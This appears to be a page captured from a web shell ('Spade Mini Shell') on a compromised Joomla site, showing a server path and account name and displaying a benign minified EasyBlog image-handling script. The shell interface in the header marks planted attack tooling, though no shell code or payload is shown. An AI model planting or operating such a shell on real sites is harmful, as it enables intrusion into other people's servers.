Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/j3/media/com_easyblog/scripts/dashboard/ |
| [Home] [System Details] [Kill Me] |
EasyBlog.module("dashboard/blogimage",function(e){var
t=this;EasyBlog.require().library("image").done(function(){EasyBlog.Controller("Dashboard.BlogImage",{defaultOptions:{"{placeHolder}":".blogImagePlaceHolder","{imageData}":".imageData","{image}":".image","{selectBlogImageButton}":".selectBlogImage","{removeBlogImageButton}":".removeBlogImage"}},function(t){return{init:function(){EasyBlog.dashboard.registerPlugin("blogImage",t);var
n=e.trim(t.imageData().val());n&&t.setImage(e.evalJSON(n))},"{selectBlogImageButton}
click":function(){EasyBlog.mediaManager.browse(null,"blogimage")},"{removeBlogImageButton}
click":function(e){t.removeImage(),e.blur()},removeImage:function(){t.image().remove(),t.element.addClass("empty"),t.imageData().val("")},setImage:function(n){if(!n)return;t.removeImage(),t.element.addClass("loading"),clearTimeout(t.imageTimer);var
n=e.extend({},n);delete
n.data,e.Image.get(n.thumbnail.url).done(function(r){var i=function(){var
n=t.placeHolder();maxWidth=n.width(),maxHeight=n.height();var
i=e.Image.resizeWithin(r.data("width"),r.data("height"),maxWidth,maxHeight);return
i.top=(maxHeight-i.height)/2,i.left=(maxWidth-i.width)/2,i},s=i(),o=function(){s.width===0||s.height===0?t.imageTimer=setTimeout(function(){s=i(),o()},1e3):r.css(s)};o(),r.addClass("image").css(s).appendTo(t.placeHolder()),t.imageData().val(e.toJSON(n)),t.element.removeClass("empty")}).fail(function(){t.element.addClass("empty")}).always(function(){t.element.removeClass("loading")})}}}),t.resolve()})});